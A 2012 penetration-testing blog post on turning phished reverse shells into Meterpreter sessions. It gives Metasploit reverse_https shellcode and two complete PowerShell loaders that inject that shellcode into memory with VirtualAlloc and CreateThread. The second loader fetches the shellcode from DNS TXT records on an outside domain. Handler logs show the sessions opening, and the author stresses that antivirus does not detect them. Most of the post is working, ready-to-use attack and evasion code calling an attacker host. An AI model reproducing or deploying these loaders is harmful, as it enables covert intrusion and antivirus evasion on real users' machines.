Wednesday, April 11, 2012

Powershell, metasploit meterpreter and dns.

Few months back and whilst in holidays, I got a call from the work that we just took an urgent project with a very short delivery time. The project was a penetration test for a company. All paperwork was done and the client was in a rush to get some results since holiday season was near.

No problem I said but actually there were a few. For starters I was in a different country, nowhere near the penetration lab of the company and my tools. As it’s accustomed also to start with zero knowledge about the clients’ systems, I wasn’t sure about their security, possible IDS systems, antivirus, system patches, firewalls and users’ experience.

There are many possible ideas here and ways to work, I choose to use metasploit and whatever tools look innocent enough not to rise suspicions. The common problem with metasploit is the payload delivery. Meterpreter is great but it’s detected from a very large amount of antiviruses if not properly modified. I used SET  (http://www.social-engineer.org/) to deliver a simple payload, actually a very basic connect back shell, the first that I found in codeproject.com (http://www.codeproject.com/Articles/20250/Reverse-Connection-Shell).

Couple of hours later and after a few emails were send with ‘important’ information to the users of the company, metasploit’s multi handler was greeted with sessions. The sessions were mostly from windows 7 systems and a few old XP. The good news and the bad news, good news were the shells, bad news where … the shells. Used with meterpreter sessions and sessions from commercial tools the basic dos prompt seems poor. Time to upgrade the shell then in a fancy way then.

Powershell to the rescue !

Let’s first generate the meterpreter payload, reverse_https seems great,

root@host:~/trunk# ./msfpayload windows/meterpreter/reverse_https LHOST=178.32.xxx.xxx LPORT=8443 C | more  

   1: /*
   2:  * windows/meterpreter/reverse_https - 369 bytes (stage 1)
   3:  * http://www.metasploit.com
   4:  * LHOST=178.32.xxx.xxx, AutoRunScript=, EXITFUNC=process, 
   5:  * EnableUnicodeEncoding=true, SessionCommunicationTimeout=300, 
   6:  * AutoSystemInfo=true, AutoLoadStdapi=true, 
   7:  * InitialAutoRunScript=, VERBOSE=false, LPORT=8443, 
   8:  * SessionExpirationTimeout=604800
   9:  */
  10: unsigned char buf[] = 
  11: "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
  12: "\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
  13: "\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2"
  14: "\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"
  15: "\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3"
  16: "\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d"
  17: "\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58"
  18: "\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b"
  19: "\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff"
  20: "\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x6e\x65\x74\x00\x68"
  21: "\x77\x69\x6e\x69\x54\x68\x4c\x77\x26\x07\xff\xd5\x31\xff\x57"
  22: "\x57\x57\x57\x6a\x00\x54\x68\x3a\x56\x79\xa7\xff\xd5\xeb\x5f"
  23: "\x5b\x31\xc9\x51\x51\x6a\x03\x51\x51\x68\xfb\x20\x00\x00\x53"
  24: "\x50\x68\x57\x89\x9f\xc6\xff\xd5\xeb\x48\x59\x31\xd2\x52\x68"
  25: "\x00\x32\xa0\x84\x52\x52\x52\x51\x52\x50\x68\xeb\x55\x2e\x3b"
  26: "\xff\xd5\x89\xc6\x6a\x10\x5b\x68\x80\x33\x00\x00\x89\xe0\x6a"
  27: "\x04\x50\x6a\x1f\x56\x68\x75\x46\x9e\x86\xff\xd5\x31\xff\x57"
  28: "\x57\x57\x57\x56\x68\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x75\x1a"
  29: "\x4b\x74\x10\xeb\xd5\xeb\x49\xe8\xb3\xff\xff\xff\x2f\x48\x65"
  30: "\x41\x6e\x00\x00\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x40\x68\x00"
  31: "\x10\x00\x00\x68\x00\x00\x40\x00\x57\x68\x58\xa4\x53\xe5\xff"
  32: "\xd5\x93\x53\x53\x89\xe7\x57\x68\x00\x20\x00\x00\x53\x56\x68"
  33: "\x12\x96\x89\xe2\xff\xd5\x85\xc0\x74\xcd\x8b\x07\x01\xc3\x85"
  34: "\xc0\x75\xe5\x58\xc3\xe8\x51\xff\xff\xff\x31\x37\x38\x2e\x33"
  35: "\x32\x2e\x37\x32\x2e\x31\x39\x34\x00";
  36:  
  37: /*
  38:  * windows/meterpreter/reverse_https - 752128 bytes (stage 2)
  39:  * http://www.metasploit.com
  40:  */
  41: unsigned char buf[] = 
  42: "\x4d\x5a\xe8\x00\x00\x00\x00\x5b\x52\x45\x55\x89\xe5\x81\xc3"
  43: "\x19\x15\x00\x00\xff\xd3\x89\xc3\x57\x68\x04\x00\x00\x00\x50"


From all the payload we just need the first stage. The first stage is will provide the connect back to the metasploit server functionality that will fetch the second stage.


Here again, a couple of options, one way of delivering it can be the following, simply copy the first stage, convert it in a proper format for the powershell script and run the script.


Method 1:


Converting the shellcode to proper format needed by the powershell script:


Shellcode:



   1: "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
   2: "\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
   3: "\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2"
   4: "\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"
   5: "\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3"
   6: "\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d"
   7: "\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58"
   8: "\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b"
   9: "\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff"
  10: "\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x6e\x65\x74\x00\x68"
  11: "\x77\x69\x6e\x69\x54\x68\x4c\x77\x26\x07\xff\xd5\x31\xff\x57"
  12: "\x57\x57\x57\x6a\x00\x54\x68\x3a\x56\x79\xa7\xff\xd5\xeb\x5f"
  13: "\x5b\x31\xc9\x51\x51\x6a\x03\x51\x51\x68\xfb\x20\x00\x00\x53"
  14: "\x50\x68\x57\x89\x9f\xc6\xff\xd5\xeb\x48\x59\x31\xd2\x52\x68"
  15: "\x00\x32\xa0\x84\x52\x52\x52\x51\x52\x50\x68\xeb\x55\x2e\x3b"
  16: "\xff\xd5\x89\xc6\x6a\x10\x5b\x68\x80\x33\x00\x00\x89\xe0\x6a"
  17: "\x04\x50\x6a\x1f\x56\x68\x75\x46\x9e\x86\xff\xd5\x31\xff\x57"
  18: "\x57\x57\x57\x56\x68\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x75\x1a"
  19: "\x4b\x74\x10\xeb\xd5\xeb\x49\xe8\xb3\xff\xff\xff\x2f\x48\x65"
  20: "\x41\x6e\x00\x00\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x40\x68\x00"
  21: "\x10\x00\x00\x68\x00\x00\x40\x00\x57\x68\x58\xa4\x53\xe5\xff"
  22: "\xd5\x93\x53\x53\x89\xe7\x57\x68\x00\x20\x00\x00\x53\x56\x68"
  23: "\x12\x96\x89\xe2\xff\xd5\x85\xc0\x74\xcd\x8b\x07\x01\xc3\x85"
  24: "\xc0\x75\xe5\x58\xc3\xe8\x51\xff\xff\xff\x31\x37\x38\x2e\x33"
  25: "\x32\x2e\x37\x32\x2e\x31\x39\x34\x00"

converting the shellcode directly to our format:



   1: root@host:~/trunk# ./msfpayload windows/meterpreter/reverse_https LHOST=178.32.72.194 LPORT=8443 C | sed -n -e '11,35p' | sed 's/[";]//g' | sed 's/\\/,0/g' | tr -d '\n'    
   2: ,0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x6e,0x65,0x74,0x00,0x68,0x77,0x69,0x6e,0x69,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0x31,0xff,0x57,0x57,0x57,0x57,0x6a,0x00,0x54,0x68,0x3a,0x56,0x79,0xa7,0xff,0xd5,0xeb,0x5f,0x5b,0x31,0xc9,0x51,0x51,0x6a,0x03,0x51,0x51,0x68,0xfb,0x20,0x00,0x00,0x53,0x50,0x68,0x57,0x89,0x9f,0xc6,0xff,0xd5,0xeb,0x48,0x59,0x31,0xd2,0x52,0x68,0x00,0x32,0xa0,0x84,0x52,0x52,0x52,0x51,0x52,0x50,0x68,0xeb,0x55,0x2e,0x3b,0xff,0xd5,0x89,0xc6,0x6a,0x10,0x5b,0x68,0x80,0x33,0x00,0x00,0x89,0xe0,0x6a,0x04,0x50,0x6a,0x1f,0x56,0x68,0x75,0x46,0x9e,0x86,0xff,0xd5,0x31,0xff,0x57,0x57,0x57,0x57,0x56,0x68,0x2d,0x06,0x18,0x7b,0xff,0xd5,0x85,0xc0,0x75,0x1a,0x4b,0x74,0x10,0xeb,0xd5,0xeb,0x49,0xe8,0xb3,0xff,0xff,0xff,0x2f,0x5a,0x62,0x69,0x37,0x00,0x00,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x68,0x00,0x00,0x40,0x00,0x57,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x53,0x89,0xe7,0x57,0x68,0x00,0x20,0x00,0x00,0x53,0x56,0x68,0x12,0x96,0x89,0xe2,0xff,0xd5,0x85,0xc0,0x74,0xcd,0x8b,0x07,0x01,0xc3,0x85,0xc0,0x75,0xe5,0x58,0xc3,0xe8,0x51,0xff,0xff,0xff,0x31,0x37,0x38,0x2e,0x33,0x32,0x2e,0x37,0x32,0x2e,0x31,0x39,0x34,0x00

and our powershell script:


 



   1: <#
   2: Powershell meterpreter 
   3: This script will load in memory the first stage of metasploit meterpreter.
   4: The second stage will be transferred and executed in memory with 0 detection from the antivirus engines.
   5: Author: Nicolas Krassas
   6: Initial idea from: Matthew Graeber
   7: #>
   8:  
   9: # Import required functions 
  10: $code = @"
  11: [DllImport("kernel32.dll")]
  12: public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
  13: [DllImport("kernel32.dll")]
  14: public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
  15: [DllImport("msvcrt.dll")]
  16: public static extern IntPtr memset(IntPtr dest, uint src, uint count);
  17: "@
  18:  
  19: $winFunc = Add-Type -memberDefinition $code -Name "Win32" -namespace Win32Functions -passthru
  20:  
  21: # msf meterpreter stage 1
  22: [Byte[]]$sc = 0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x6e,0x65,0x74,0x00,0x68,0x77,0x69,0x6e,0x69,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0x31,0xff,0x57,0x57,0x57,0x57,0x6a,0x00,0x54,0x68,0x3a,0x56,0x79,0xa7,0xff,0xd5,0xeb,0x5f,0x5b,0x31,0xc9,0x51,0x51,0x6a,0x03,0x51,0x51,0x68,0xfb,0x20,0x00,0x00,0x53,0x50,0x68,0x57,0x89,0x9f,0xc6,0xff,0xd5,0xeb,0x48,0x59,0x31,0xd2,0x52,0x68,0x00,0x32,0xa0,0x84,0x52,0x52,0x52,0x51,0x52,0x50,0x68,0xeb,0x55,0x2e,0x3b,0xff,0xd5,0x89,0xc6,0x6a,0x10,0x5b,0x68,0x80,0x33,0x00,0x00,0x89,0xe0,0x6a,0x04,0x50,0x6a,0x1f,0x56,0x68,0x75,0x46,0x9e,0x86,0xff,0xd5,0x31,0xff,0x57,0x57,0x57,0x57,0x56,0x68,0x2d,0x06,0x18,0x7b,0xff,0xd5,0x85,0xc0,0x75,0x1a,0x4b,0x74,0x10,0xeb,0xd5,0xeb,0x49,0xe8,0xb3,0xff,0xff,0xff,0x2f,0x63,0x51,0x62,0x46,0x00,0x00,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x68,0x00,0x00,0x40,0x00,0x57,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x53,0x89,0xe7,0x57,0x68,0x00,0x20,0x00,0x00,0x53,0x56,0x68,0x12,0x96,0x89,0xe2,0xff,0xd5,0x85,0xc0,0x74,0xcd,0x8b,0x07,0x01,0xc3,0x85,0xc0,0x75,0xe5,0x58,0xc3,0xe8,0x51,0xff,0xff,0xff,0x31,0x37,0x38,0x2e,0x33,0x32,0x2e,0x37,0x32,0x2e,0x31,0x39,0x34,0x00
  23:  
  24: # Calculate correct size param for VirtualAlloc
  25: $size = 0x1000
  26: if ($sc.Length -gt 0x1000) {$size = $sc.Length}
  27:  
  28: # Allocate memory 
  29: $x=$winFunc::VirtualAlloc(0,0x1000,$size,0x40)
  30:  
  31:  
  32: for ($i=0;$i -le ($sc.Length-1);$i++) {$winFunc::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)}
  33: Try {
  34:         $winFunc::CreateThread(0,0,$x,0,0,0)
  35:         sleep 100000
  36:     }
  37: Catch
  38:  {
  39:   [system.exception]
  40:   "caught a system exception"
  41:  }

set the metasploit server to handle requests for the payload:



   1: root@host:~/trunk# ./msfconsole 
   2:  
   3: # cowsay++
   4:  ____________
   5: < metasploit >
   6:  ------------
   7:        \   ,__,
   8:         \  (oo)____
   9:            (__)    )\
  10:               ||--|| *
  11:  
  12:  
  13:        =[ metasploit v4.3.0-dev [core:4.3 api:1.0]
  14: + -- --=[ 821 exploits - 467 auxiliary - 141 post
  15: + -- --=[ 250 payloads - 27 encoders - 8 nops
  16:        =[ svn r15071 updated 6 days ago (2012.04.05)
  17:  
  18: msf  exploit(handler) > set payload windows/meterpreter/reverse_https
  19: payload => windows/meterpreter/reverse_https
  20: msf  exploit(handler) > set lport 8443
  21: lport => 8443
  22: msf  exploit(handler) > exploit
  23:  
  24: [*] Started HTTPS reverse handler on https://178.32.xxx.xxx:8443/
  25: [*] Starting the payload handler...
  26: [*] 94.68.xxx.xxx:20718 Request received for /cQbF...
  27: [*] 94.68.xxx.xxx:20718 Staging connection for target /cQbF received...
  28: [*] Patched transport at offset 486516...
  29: [*] Patched URL at offset 486248...
  30: [*] Patched Expiration Timeout at offset 641856...
  31: [*] Patched Communication Timeout at offset 641860...
  32: [*] Meterpreter session 1 opened (178.32.xxx.xxx:8443 -> 94.68.xxx.xxx:20718) at Wed Apr 11 09:44:08 +0300 2012
  33:  
  34: meterpreter > ps
  35:  
  36: Process list
  37: ============
  38:  
  39:  PID   Name                          Arch  Session  User         Path
  40:  ---   ----                          ----  -------  ----         ----
  41:  0     [System Process]                                          
  42:  4     System                                                    
  43:  276   smss.exe                                                  
  44:  288   dwm.exe                       x86   1        Ghost\Dinos  C:\Windows\system32\Dwm.exe
  45:  364   csrss.exe                                                 
  46:  380   explorer.exe                  x86   1        Ghost\Dinos  C:\Windows\Explorer.EXE
  47:  432   csrss.exe                                                 
  48:  440   wininit.exe                                               
  49:  492   winlogon.exe                                              
  50:  540   services.exe                                              
  51:  548   lsass.exe                                                 
  52:  560   lsm.exe                                                   
  53:  656   svchost.exe                                               
  54:  720   nvvsvc.exe                                                
  55:  760   svchost.exe                                               
  56:  844   MsMpEng.exe                                               
  57:  924   svchost.exe                                               
  58:  964   svchost.exe                                               
  59:  1000  svchost.exe                                               
  60:  1152  svchost.exe                                               
  61:  1196  conhost.exe                   x86   1        Ghost\Dinos  C:\Windows\system32\conhost.exe
  62:  1284  plugin-container.exe          x86   1        Ghost\Dinos  C:\Program Files\Mozilla Firefox\plugin-container.exe
  63:  1312  NvXDSync.exe                                              
  64:  1324  nvvsvc.exe                                                
  65:  1364  SecureCRT.exe                 x86   1        Ghost\Dinos  C:\Program Files\VanDyke Software\SecureCRT\SecureCRT.exe
  66:  1448  chrome.exe                    x86   1        Ghost\Dinos  C:\Users\Dinos\AppData\Local\Google\Chrome\Application\chrome.exe
  67:  1492  SR_Watchdog.exe                                           
  68:  1528  SearchIndexer.exe                                         
  69:  1560  svchost.exe                                               
  70:  1776  spoolsv.exe                                               
  71:  1888  svchost.exe                                               
  72:  1964  taskhost.exe                  x86   1        Ghost\Dinos  C:\Windows\system32\taskhost.exe
  73:  2032  WVSScheduler.exe                                          
  74:  2172  armsvc.exe                                                
  75:  2196  AppleMobileDeviceService.exe                              
  76:  2272  mDNSResponder.exe                                         
  77:  2304  svchost.exe                                               
  78:  2364  hamachi-2.exe                                             
  79:  2400  vmware-tray.exe               x86   1        Ghost\Dinos  C:\Program Files\VMware\VMware Workstation\vmware-tray.exe
  80:  2420  svchost.exe                                               
  81:  2444  msseces.exe                   x86   1        Ghost\Dinos  C:\Program Files\Microsoft Security Client\msseces.exe
  82:  2460  IMEDICTUPDATE.EXE                                         
  83:  <snip>
  84: meterpreter > 

And we have our poor initial shell, upgraded with cool meterpreter features, whilst our antivirus is still operational and not aware of the situation.


Method 2 do it in style.


Few weeks back I saw an excellent method from corelanc0d3r ( https://github.com/rapid7/metasploit-framework/pull/173 ) using TXT DNS records for payload delivery. This gave me an idea to create the same method with powershell, using raw C format also in the TXT records. With the same payload, stage 1 as above I created the following records:



   1: a.deventum.com.          IN TXT  "0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52"
   2: b.deventum.com.          IN TXT  ",0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b"
   3: c.deventum.com.          IN TXT  ",0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x6e,0x65,0x74,0x00,0x68"
   4: d.deventum.com.          IN TXT  ",0x77,0x69,0x6e,0x69,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0x31,0xff,0x57,0x57,0x57,0x57,0x6a,0x00,0x54,0x68,0x3a,0x56,0x79,0xa7,0xff,0xd5,0xeb,0x5f,0x5b,0x31,0xc9,0x51,0x51,0x6a,0x03,0x51,0x51,0x68,0xfb,0x20,0x00,0x00,0x53,0x50,0x68,0x57,0x89,0x9f"
   5: e.deventum.com.          IN TXT  ",0xc6,0xff,0xd5,0xeb,0x48,0x59,0x31,0xd2,0x52,0x68,0x00,0x32,0xa0,0x84,0x52,0x52,0x52,0x51,0x52,0x50,0x68,0xeb,0x55,0x2e,0x3b,0xff,0xd5,0x89,0xc6,0x6a,0x10,0x5b,0x68,0x80,0x33,0x00,0x00,0x89,0xe0,0x6a,0x04,0x50,0x6a,0x1f,0x56,0x68,0x75,0x46,0x9e,0x86"
   6: e.deventum.com.          IN TXT  ",0xc6,0xff,0xd5,0xeb,0x48,0x59,0x31,0xd2,0x52,0x68,0x00,0x32,0xa0,0x84,0x52,0x52,0x52,0x51,0x52,0x50,0x68,0xeb,0x55,0x2e,0x3b,0xff,0xd5,0x89,0xc6,0x6a,0x10,0x5b,0x68,0x80,0x33,0x00,0x00,0x89,0xe0,0x6a,0x04,0x50,0x6a,0x1f,0x56,0x68,0x75,0x46,0x9e,0x86"
   7: f.deventum.com.          IN TXT  ",0xff,0xd5,0x31,0xff,0x57,0x57,0x57,0x57,0x56,0x68,0x2d,0x06,0x18,0x7b,0xff,0xd5,0x85,0xc0,0x75,0x1a,0x4b,0x74,0x10,0xeb,0xd5,0xeb,0x49,0xe8,0xb3,0xff,0xff,0xff,0x2f,0x5a,0x62,0x69,0x37,0x00,0x00,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x40,0x68,0x00"
   8: g.deventum.com.          IN TXT  ",0x10,0x00,0x00,0x68,0x00,0x00,0x40,0x00,0x57,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x53,0x89,0xe7,0x57,0x68,0x00,0x20,0x00,0x00,0x53,0x56,0x68,0x12,0x96,0x89,0xe2,0xff,0xd5,0x85,0xc0,0x74,0xcd,0x8b,0x07,0x01,0xc3,0x85,0xc0,0x75,0xe5,0x58,0xc3"
   9: h.deventum.com.          IN TXT  ",0xe8,0x51,0xff,0xff,0xff,0x31,0x37,0x38,0x2e,0x33,0x32,0x2e,0x37,0x32,0x2e,0x31,0x39,0x34,0x00"

and finally the powershell script to call the records:



   1: <#
   2: Powershell for DNS based meterpreter payload 
   3: This script will load in memory the first stage of metasploit meterpreter that exists in txt record .
   4: The second stage will be transferred and executed in memory with 0 detection from the antivirus engines.
   5: Author: Nicolas Krassas
   6: Inspired by corelanc0d3r dns based shellcode and Matthew Graeber
   7: #>
   8:  
   9: # Functions for creating a thread
  10: $code = @"
  11: [DllImport("kernel32.dll")]
  12: public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
  13: [DllImport("kernel32.dll")]
  14: public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
  15: [DllImport("msvcrt.dll")]
  16: public static extern IntPtr memset(IntPtr dest, uint src, uint count);
  17: "@
  18:  
  19: function Convert-HexStringToByteArray {
  20: ################################################################
  21: #.Synopsis
  22: # Convert a string of hex data into a System.Byte[] array. An
  23: # array is always returned, even if it contains only one byte.
  24: #.Parameter String
  25: # A string containing hex data in any of a variety of formats,
  26: # including strings like the following, with or without extra
  27: # tabs, spaces, quotes or other non-hex characters:
  28: # 0x41,0x42,0x43,0x44
  29: # \x41\x42\x43\x44
  30: # 41-42-43-44
  31: # 41424344
  32: # The string can be piped into the function too.
  33: # http://www.sans.org/windows-security/2010/02/11/powershell-byte-array-hex-convert
  34: ################################################################
  35: [CmdletBinding()]
  36: Param ( [Parameter(Mandatory = $True, ValueFromPipeline = $True)] [String] $String )
  37:  
  38: #Clean out whitespaces and any other non-hex crud.
  39: $String = $String.ToLower() -replace '[^a-f0-9\\\,x\-\:]',''
  40:  
  41:  
  42: #Try to put into canonical colon-delimited format.
  43: $String = $String -replace '0x|\\x|\-|,',':'
  44:  
  45:  
  46: #Remove beginning and ending colons, and other detritus.
  47: $String = $String -replace '^:+|:+$|x|\\',''
  48:  
  49:  
  50: #Maybe there's nothing left over to convert...
  51: if ($String.Length -eq 0) { ,@() ; return } 
  52:  
  53:  
  54: #Split string with or without colon delimiters.
  55: if ($String.Length -eq 1)
  56: { ,@([System.Convert]::ToByte($String,16)) }
  57: elseif (($String.Length % 2 -eq 0) -and ($String.IndexOf(":") -eq -1))
  58: { ,@($String -split '([a-f0-9]{2})' | foreach-object { if ($_) {[System.Convert]::ToByte($_,16)}}) }
  59: elseif ($String.IndexOf(":") -ne -1)
  60: { ,@($String -split ':+' | foreach-object {[System.Convert]::ToByte($_,16)}) }
  61: else
  62: { ,@() }
  63: #The strange ",@(...)" syntax is needed to force the output into an
  64: #array even if there is only one element in the output (or none).
  65: }
  66:  
  67: function GetShellCode($hostname)
  68:     {
  69:     $result = iex "cmd.exe /c `"nslookup  -querytype=txt -timeout=5 $hostname 2> NUL`""
  70:     $shellarray = ""
  71:     foreach ($line in $result)
  72:         {
  73:         $line=$line.trim()
  74:         if ($line.contains("`""))
  75:             {$shellarray = $line.split("`"")[1].trim()}
  76:         }
  77:     "$shellarray"
  78:     }
  79: "Got the shellcode from txt records"
  80: # My txt records you better not use them, or you may see me in your system :)
  81:  
  82: $shellpart1 = GetShellCode "a.deventum.com" 
  83: $shellpart2 = GetShellCode "b.deventum.com"
  84: $shellpart3 = GetShellCode "c.deventum.com"
  85: $shellpart4 = GetShellCode "d.deventum.com"
  86: $shellpart5 = GetShellCode "e.deventum.com"
  87: $shellpart6 = GetShellCode "f.deventum.com"
  88: $shellpart7 = GetShellCode "g.deventum.com"
  89: $shellpart8 = GetShellCode "h.deventum.com"
  90:  
  91: $myshell = " $shellpart1$shellpart2$shellpart3$shellpart4$shellpart5$shellpart6$shellpart7$shellpart8 "
  92:  
  93: # Thread control
  94: $winFunc = Add-Type -memberDefinition $code -Name "Win32" -namespace Win32Functions -passthru
  95:  
  96: # msf meterpreter stage 1, this one must be converted to proper byte array first.
  97: [Byte[]]$sc =   Convert-HexStringToByteArray($myshell) 
  98:  
  99: # Calculate correct size param for VirtualAlloc
 100: $size = 0x1000
 101: if ($sc.Length -gt 0x1000) {$size = $sc.Length}
 102:  
 103: # Allocate memory 
 104: $x=$winFunc::VirtualAlloc(0,0x1000,$size,0x40)
 105:  
 106: # build it in memory
 107: for ($i=0;$i -le ($sc.Length-1);$i++) {$winFunc::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)}
 108: Try {
 109:         $winFunc::CreateThread(0,0,$x,0,0,0)
 110:         sleep 100000
 111:     }
 112: Catch
 113:  {
 114:   [system.exception]
 115:   "caught a system exception"
 116:  }

Make sure the metasploit server is running with multi/handler and call the script from within powershell with: & .\Desktop\powershellcode1.ps1 .


Enjoy a 0 detection metasploit shell.


[*] Started HTTPS reverse handler on https://178.32.xxx.xxx:8443/
[*] Exploit running as background job.
[*] Starting the payload handler...
[*] 94.68.xxx.xxx:27789 Request received for /Zbi7...
[*] 94.68.xxx.xxx:27789 Staging connection for target /Zbi7 received...
[*] Patched transport at offset 486516...
[*] Patched URL at offset 486248...
[*] Patched Expiration Timeout at offset 641856...
[*] Patched Communication Timeout at offset 641860...
[*] Meterpreter session 4 opened (178.32.xxx.xxx:8443 -> 94.68.xxx.xxx:27789) at Wed Apr 11 13:16:17 +0300 2012


msf  exploit(handler) >

2 comments:

  1. well you need to be in powershell to run this script which means you must have had a shell already.

    or maybe i am confused.

    nice article though

    ReplyDelete
  2. Hi atta, as it's mentioned on the start of the post, this is a post-exploitation method for shell 'elevation'. So yes you need to have access already.

    ReplyDelete